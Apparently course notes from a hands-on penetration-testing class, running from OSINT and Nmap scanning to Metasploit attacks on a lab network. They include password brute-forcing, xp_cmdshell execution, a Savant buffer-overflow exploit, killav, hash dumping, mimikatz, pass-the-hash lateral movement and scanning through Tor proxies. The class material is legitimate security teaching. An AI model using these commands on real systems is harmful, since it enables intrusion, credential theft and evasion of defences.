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 ########################################
 # Ultimate Penetration Testing         #
 # By Joe McCray of Strategic Security  #
 ########################################
 
 
 
 #########################
 # Class Virtual Machine #
 #########################
 
 
 Here is the VMWare virtual machine for the class:
 
 https://s3-us-west-2.amazonaws.com/infosecaddicts/InfoSecAddictsVM.zip
 user:      infosecaddicts
 pass:      infosecaddicts
 
 
 
 
 
 ################
 # Day 1: OSINT #
 ################
 OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first.
 Here is an an OSINT report that I did for a customer of mine a few years ago:
 https://s3.amazonaws.com/infosecaddicts-Files/OSINT_Innophos_11242010.doc
 
 Let's see if you can do a better one than me....
 
 
 Here are a few places to start:
 
 - Wikipedia Page
     - Are they Public or Private?
     - Does the target have any subsidiaries?
 
 - Robtex
     - Show system map
 
 - Netcraft
     - http://toolbar.netcraft.com/site_report
 
 - Passive Recon (Firefox Add-on)
 
 
 
 
 Your first task:
 ----------------
 Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies:
 NSA
 HSBC
 Coke
 Exxon Mobil
 KPMG
 Accenture
 NewYork-Presbyterian Hospital
 Kroger
 Dillard's
 Royal Caribbean International
 
 
 
 Tools that are good for OSINT:
 ------------------------------
 Here are some tools that I think you should consider using for this challenge:
 FOCA
 Maltego
 Search Diggity
 ShodanHQ
 PassiveRecon
 EDGAR
 theHarvester
 gxfr.py
 VisualRoute
 
 
 
 
 
 ********************************** Begin Day 1 Homework Part 1 **********************************
 NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 
 You must create a MS WORD document titled 'FirstName-LastName-Ultimate-Pentesting-Day1-OSINT-Report.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-OSINT-Report.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
 
 
 ********************************** End Day 1 Homework Part 1 **********************************
 
 
 
 
 Email Harvesting
 ----------------
 
 cd ~/toolz/
 
 rm -rf theharvester-read-only/
 
 sudo apt install -y python-pyasn1 python-pyasn1-modules
      infosecaddicts
 
 git clone https://github.com/laramies/theHarvester.git
 
 cd theHarvester/
 
 python theHarvester.py
 
 python theHarvester.py -d motorola.com -l 50 -b google
 
 python theHarvester.py -d motorola.com -l 50 -b bing
 
 python theHarvester.py -d motorola.com -l 50 -b linkedin
 
 python theHarvester.py -d motorola.com -l 50 -b pgp
 
 
 
 
 
 File Meta-Data Harvesting
 -------------------------
 cd ~/toolz/
 
 sudo apt install -y python-pip
      infosecaddicts
 
 sudo pip install google
      infosecaddicts
 
 git clone https://github.com/opsdisk/metagoofil.git
 
 cd metagoofil/
 
 
 python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
 
 exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
 
 
 
 
 
 python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
 Whereas:
 
 -d : I used another domain name aside from Google.com to make it work
 -t : I asked for the program to search two types of public documents whuch are doc and pdf files
 -l : I limited the search result to 100 to make the process faster
 -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
 -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
 -f : Save the html links to html_links_<TIMESTAMP>.txt file
 
 
 
 
 
 
 Github Info Harvesting
 ----------------------
 cd ~/toolz/
 
 sudo pip install gitem
 	infosecaddicts
 
 gitem organization facebook
 
 
 gitem repository facebook react
 
 
 gitem --processes 4 user zpao
 
 
 
 
 Network Topology Enumeration
 ----------------------------
 
 cd ~/toolz/
 
 wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
 
 python gxfr.py --bxfr --dns-lookup -o
 	motorola.com
 	[ press enter ]
 	cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
 
 
 
 
 cd ~/toolz/
 
 rm -rf fierce2/
 
 git clone https://github.com/mschwager/fierce.git
 
 cd fierce
 
 sudo apt install -y python3-pip
 	infosecaddicts
 
 sudo pip3 install -r requirements.txt
 
 python3 fierce.py -h
 
 python3 fierce.py --domain motorola.com --subdomains accounts admin ads
 Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
 
 python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
 
 
 Limit nearby IP traversal to certain domains with the --search flag:
 
 python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
 
 
 Attempt an HTTP connection on domains discovered with the --connect flag:
 
 python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
 
 
 
 
 
 
 Recon-NG (Metasploit for Recon):
 --------------------------------
 cd ~/toolz/
 
 sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
 	infosecaddicts
 
 sudo pip install dicttoxml
 	infosecaddicts
 
 
 
 git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
 cd recon-ng
 ./recon-ng
 
 
 
 At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
 
 recon-ng > help
 
 
 Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
 
 recon-ng > [ TAB ] [ TAB ]
 
 
 
 To see all the modules in Recon-ng, we can type:
 
 recon-ng > show [ TAB ] [ TAB ]
 
 
 
 Ok, let's drive this thing....
 
 recon-ng > show banner
 
 recon-ng > show companies
 
 recon-ng > show contacts
 
 recon-ng > show credentials
 
 recon-ng > show dashboard
 
 recon-ng > show domains
 
 recon-ng > show hosts
 
 recon-ng > show keys
 
 recon-ng > show leaks
 
 recon-ng > show locations
 
 recon-ng > show modules
 
 recon-ng > show netblocks
 
 recon-ng > show options
 
 recon-ng > show ports
 
 recon-ng > show profiles
 
 recon-ng > show pushpins
 
 recon-ng > show repositories
 
 recon-ng > show schema
 
 recon-ng > show vulnerabilities
 
 recon-ng > show workspaces
 
 
 
 
 
 When you have found a module that you would like to try the process is fairly straight forward.
 
 Type, “use [Modulename]” to use the module
 
 Type, “show info” to view information about the module
 
 And then, “show options” to see what variables can be set
 
 Set the option variables with “set [variable]”
 
 Finally, type “run” to execute the module
 
 
 
 
 
 
 ********************************** Begin Day 1 Homework Part 2 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 
 You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
 
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Recon-NG.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Recon-NG.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 
 Reference links:
 http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
 http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
 
 ********************************** End Day 1 Homework Part 2 **********************************
 
 
 
 
 ########################
 # Scanning Methodology #
 ########################
 
 - Ping Sweep
 What's alive?
 ------------
 sudo nmap -sP 157.166.226.*
      infosecaddicts
 
     -if -SP yields no results try:
 
 sudo nmap -sL 157.166.226.*
      infosecaddicts
 
 sudo nmap -sL 157.166.226.* | grep com
      infosecaddicts
 
 - Port Scan
 What's where?
 ------------
 sudo nmap -sS 162.243.126.247
      infosecaddicts
 
 
 - Bannergrab/Version Query
 What versions of software are running
 -------------------------------------
 sudo nmap -sV 162.243.126.247
      infosecaddicts
 
 
 - Vulnerability Research
 Lookup the banner versions for public exploits
 ----------------------------------------------
 http://exploit-db.com
 http://securityfocus.com/bid
 https://packetstormsecurity.com/files/tags/exploit/
 
 
 
 #######################################################
 # Day 1: 3rd Party Scanning, and scanning via proxies #
 #######################################################
 
 https://www.shodan.io/
 
     Create a FREE account and login
 
     net:129.188.8.0/24
 
 
 
 cd /home/infosecaddicts/toolz/
 perl proxyfinder-0.3.pl multiproxy 3 proxies.txt    <-- This takes a long time to run
 
 
 
 sudo vi /etc/proxychains.conf               <--- Make sure that last line of the file is: socks4  127.0.0.1 9050
      infosecaddicts
 
 
 
 
 ----------------------------------------------------------------------
 vi ~/toolz/fix-proxychains-dns.sh
 
 #!/bin/bash
 # This script is called by proxychains to resolve DNS names
 # DNS server used to resolve names
 # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
 DNS_SERVER=4.2.2.2
 
 if [ $# = 0 ] ; then
 echo " usage:"
 echo " proxyresolv <hostname> "
 exit
 fi
 
 export LD_PRELOAD=libproxychains.so.3
 dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
 -----------------------------------------------------------------------
 
 
 sudo ntpdate pool.ntp.org
      infosecaddicts
 
 tor-resolve infosecaddicts.com
 
 proxychains nmap -sT -p80 162.243.126.247
 
 proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
 
 
 
 
 
 
 
 #########################
 # Playing with Nmap NSE #
 #########################
 
 nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
 
 nmap -p80 --script dns-brute infosecaddicts.com
 
 nmap --script http-robtex-reverse-ip secore.info
 
 nmap -Pn -p80 --script=http-headers infosecaddicts.com
 
 
 ls /usr/share/nmap/scripts | grep http
 nmap -Pn -p80 --script=http-* infosecaddicts.com
 
 
 
 
 #####################################
 # Writing Your Own Nmap NSE Scripts #
 #####################################
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 -- The Rule Section --
 portrule = function(host, port)
     return port.protocol == "tcp"
             and port.number == 80
             and port.state == "open"
 end
 
 -- The Action Section --
 action = function(host, port)
     return "Ultimate Pentesting!"
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 
 -- The Rule Section --
 portrule = shortport.http
 
 
 -- The Action Section --
 action = function(host, port)
     return "Ultimate Pentesting!"
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
 
 
 
 
 
 
 
 OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
     return response.status
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         return response.body
     end
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 local string = require "string"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
         return title
     end
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 local string = require "string"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
 
         if (title) then
             return "Vulnerable"
         else
             return "Not Vulnerable"
         end
     end
 end
 
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 ********************************** Begin Day 1 Homework Part 3 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 You must take screenshots of you performing all of the scanning tasks that we have done so far today
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Adv-Scanning.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
 
 ********************************** End Day 1 Homework Part 3 **********************************
 
 
 
 
 
 
 
 
 
 
 ##########
 # Day 2: #
 ##########
 
 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
 If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
 
 So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
 https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf
 
 sudo nmap -sP 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -sL 10.0.0.0/24
      infosecaddicts
 
 cd ~/toolz
 
 wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
 
 gcc ipcrawl.c -o ipcrawl
 
 chmod 777 ipcrawl
 
 ./ipcrawl 10.0.0.1 10.0.0.254
 
 
 
 wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
 
 gcc propecia.c -o propecia
 
 sudo cp propecia /bin
      infosecaddicts
 
 propecia 10.0.0 22
 
 propecia 10.0.0 3389
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
 
 #################################################
 # Screenshotting the Web Servers in the Network #
 #################################################
 cd ~/toolz/
 mkdir labscreenshots
 cd labscreenshots/
 
 
 wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
 tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
 cd wkhtmltox/bin/
 sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
 
 
 cd ~/toolz/
 git clone git://github.com/SpiderLabs/Nmap-Tools.git
 cd Nmap-Tools/NSE/
 sudo cp http-screenshot.nse /usr/share/nmap/scripts/
      infosecaddicts
 
 sudo nmap --script-updatedb
      infosecaddicts
 
 
 cd ~/toolz/labscreenshots/
 sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
      infosecaddicts
 
 
 
 
 vi screenshots.sh
 
 #!/bin/bash
 printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
 ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
 printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
 
 
 
 
 
 sh screenshots.sh
 
 
 
 
 ##########################
 # Nmap NSE tricks to try #
 ##########################
 sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
      infosecaddicts
 
 
 sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
      infosecaddicts
 
 
 
 
 
 
 
 
 ##########
 # Day 3: #
 ##########
 
 mkdir ~/toolz/wordlists
 cd ~/toolz/wordlists
 echo dbo >> users.txt
 echo sa >> users.txt
 echo admin >> users.txt
 echo root >> users.txt
 echo password >> pass.txt
 echo pass >> pass.txt
 echo hello >> pass.txt
 echo goodbye >> pass.txt
 echo test >> pass.txt
 echo admin >> pass.txt
 echo db >> pass.txt
 echo god >> pass.txt
 echo 123 >> pass.txt
 echo letmein >> pass.txt
 
 
 
 
 
 
 #######################
 # Attacking Databases #
 #######################
 Attacking MySQL with Metasploit
 -------------------------------
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/mysql/mysql_version
 set RHOSTS 10.0.0.59
 run
 
 use auxiliary/scanner/mysql/mysql_login
 set RHOSTS 10.0.0.59
 set USER_FILE /home/infosecaddicts/toolz/wordlists/users.txt
 set PASS_FILE /home/infosecaddicts/toolz/wordlists/pass.txt
 run
 
 use auxiliary/admin/mysql/mysql_enum
 set RHOST 10.0.0.59
 set USERNAME root
 run
 
 use auxiliary/scanner/mysql/mysql_hashdump
 set RHOSTS 10.0.0.59
 set USERNAME root
 run
 
 exit -y
 
 
 $ mysql -h 10.0.0.59 -u root -p
 show databases;
 
 
 
 
 
 Attacking Postgres with Metasploit
 ----------------------------------
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/scanner/postgres/postgres_login
 set RHOSTS 10.0.0.59
 run
 
 
 
 
 Identifying MSSQL Server
 -----------------------
 
 propecia 10.0.0 1433
 
 
 
 
 Determine the Version
 ---------------------
 
 nmap -sV -p 1433 10.0.0.9
 nmap -sV -p 1433 --script=ms-sql-info 10.0.0.9
 
 
 
 Bruteforcing MSSQL
 ------------------
 
 nmap -p1433 --script ms-sql-empty-password 10.0.0.9
 
 
 mkdir ~/toolz/wordlists
 cd ~/toolz/wordlists
 echo dbo >> customuser.txt
 echo sa >> customuser.txt
 echo admin >> customuser.txt
 echo password >> custompass.txt
 echo pass >> custompass.txt
 echo hello >> custompass.txt
 echo goodbye >> custompass.txt
 echo test >> custompass.txt
 echo admin >> custompass.txt
 echo db >> custompass.txt
 echo god >> custompass.txt
 echo 123 >> custompass.txt
 echo letmein >> custompass.txt
 echo database!23 >> custompass.txt
 
 
 
 
 nmap -sV -p 1433 --script=ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 10.0.0.9
 
 
 
 Extracting Data From MSSQL
 -------------------------
 nmap -sV -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
 
 nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
 
 nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
 
 nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
 
 nmap -p1433 --script ms-sql-xp-cmdshell --script-args=ms-sql-xp-cmdshell.cmd='net users',mssql.username=sa,mssql.password=database\!23 10.0.0.9
 
 nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=database\!23 10.0.0.9
 
 
 
 
 
 
 Attacking MSSQL Server With Metasploit
 --------------------------------------
 cd ~/toolz/metasploit
 
 ./msfconsole
 
 use auxiliary/admin/mssql/mssql_sql
 
 show options
 
 set RHOST 10.0.0.9
 
 set username sa
 
 set password database!23
 
 exploit
 
 
 
 
 
 
 
 
 
 use auxiliary/admin/mssql/mssql_enum
 
 show options
 
 set RHOST 10.0.0.9
 
 set username sa
 
 set password database!23
 
 exploit
 
 
 
 
 
 use auxiliary/admin/mssql/mssql_exec
 
 show options
 
 set RHOST 10.0.0.9
 
 set password database!23
 
 set CMD cmd.exe /c ping localhost
 
 exploit
 
 
 
 
 
 
 ################################
 # Attacking Big Data Solutions #
 ################################
 
 propecia 10.0.0 27017
 
 
 sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
      infosecaddicts
 
 
 
 
 Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
 There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
 
 One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
 
 
 
 sudo apt install -y git python-setuptools
 
 cd ~/toolz
 
 mkdir arsenal
 
 cd arsenal
 
 git clone https://github.com/tcstool/nosqlmap.git
 
 cd nosqlmap
 
 sudo python setup.py install
      infosecaddicts
 
 python nosqlmap.py
 
 1					(set options)
 	10.0.0.59			(set target IP)
 
 
 7	<your IP>			(set attacker host ip)
 
 
 x					(back to main menu)
 
 2					(DB access attack option)
 
 
 1					(Get server info)
 
 
 2					(Enumerate Databases/Collections/Users)
 
 
 3					(Check for GridFS)
 					GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
 
 
 
 
 
 Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
 
 
 
 
 
 
 ####################################
 # Finally, let's exploit something #
 ####################################
 
 nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
 
 	https://www.exploit-db.com/search
 
 	Search for:
 	Savant httpd 3.1
 	Apache httpd 2.0.58 ((Win32))
 
 
 	Found one written in Python:
 	https://www.exploit-db.com/exploits/18401/
 
 	Found one for Savant 3.1 from Metasploit:
 	https://www.exploit-db.com/exploits/16770/
 
 
 
 cd ~/toolz/metasploit
 ./msfconsole
 use exploit/windows/http/savant_31_overflow
 set RHOST 10.0.0.15
 set PAYLOAD windows/meterpreter/bind_nonx_tcp
 set RPORT 80
 set LPORT 7777
 exploit
 
 
 
 
 
 
 ********************************** Figure out who and where you are **********************************
 
 meterpreter> sysinfo
 
 
 meterpreter> getuid
 
 
 meterpreter> ipconfig
 
 
 meterpreter> run post/windows/gather/checkvm
 
 
 meterpreter> run get_local_subnets
 
 
 
 ********************************** Escalate privileges and get hashes **********************************
 
 
 meterpreter> use priv
 
 
 
 meterpreter > getsystem
 ...got system (via technique 1).
 
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
 
 --------------------------------------------------------
 
 meterpreter> run killav
 
 meterpreter> run post/windows/gather/hashdump
 
 	Got the following admin hash:
 	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
 
 meterpreter> run post/windows/gather/credentials/credential_collector
 
 meterpreter > load mimikatz
 
 meterpreter > kerberos
 
 	This should give me the administrative password:
 	)K5?Jocb(Yx
 
 
 ********************************** Enumerate the host you are on **********************************
 
 meterpreter> run winenum
 
 meterpreter > run post/windows/gather/enum_applications
 
 meterpreter > run post/windows/gather/enum_logged_on_users
 
 meterpreter > run post/windows/gather/usb_history
 
 meterpreter > run post/windows/gather/enum_shares
 
 meterpreter > run post/windows/gather/enum_snmp
 
 meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
 
 
 ********************************** Get out of Meterpreter **********************************
 
 meterpreter> background
 
 msf exploit(savant_31_overflow) > back
 
 msf>
 
 
 
 
 ********************************** Lateral Movement *******************************
 
 
 Now we can run the PSEXEC exploit.
 
 -- Option 1:
 use exploit/windows/smb/psexec
 
 set SMBUser Administrator
 
 set SMBPass )K5?Jocb(Yx
 
 set RHOST 10.0.0.15
 
 set payload windows/meterpreter/bind_tcp
 
 set LPORT 2345
 
 exploit
 
 ********************************** Get out of Meterpreter **********************************
 
 meterpreter> background
 
 msf exploit(psexec) >back
 
 msf>
 
 **********************************
 
 -- Option 2:
 use exploit/windows/smb/psexec
 
 set SMBUser Administrator
 
 set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
 
 set payload windows/meterpreter/bind_tcp
 
 set RHOST 10.0.0.15
 
 set LPORT 5678
 
 exploit
 
 
 
 ********************************** Set up your Pivot **********************************
 
 meterpreter > background
                                                         <-- background the session
         You want to get back to this prompt:
         msf exploit(handler) > back                     <--- you need to get to main msf> prompt
 
 
 
         sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
 
         Now set up Pivot with a route add
         ---------------------------------
 
 route print												<--- should be blank
 
 route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
 
 
 route print                                             <----- verify new route
 
 ******************************Scan through your Pivot ******************************
 
 use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
 
 set THREADS 10
 
 set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
 
 set PORTS 445
 
 run
 
 
 ####################################
 # Socks Tunneling with Proxychains #
 ####################################
 --- Open a duplicate putty session to your Ubuntu host
 
 sudo apt install -y proxychains
     infosecaddicts
 
 sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
      infosecaddicts
 
         Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
         socks4  127.0.0.1 1080
 
 ***************************Set up a Socks Proxy through your Pivot *************************
 
 
 use auxiliary/server/socks4a
 
 set SRVHOST 127.0.0.1
 
 set SRVPORT 1080
 
 run
 
         --- Go back to your other putty session with the meterpreter shell
 cd ~
 
 proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24          <--- This is going to be really slow
 
 proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
 
 
         ---close the duplicate putty session to your Ubuntu host
 
 
 
 
 
 *************************** Day 3 Challenge *******************************
 
 ******** Attacking Kevgir ********
 I figured I've give you something fun to play with.
 
 sudo nmap -sV -Pn 10.0.0.120
      infosecaddicts
 
 
 
 ##############################
 # Using Nikto against Kevgir #
 ##############################
 cd ~/toolz/nikto-2.1.1
 
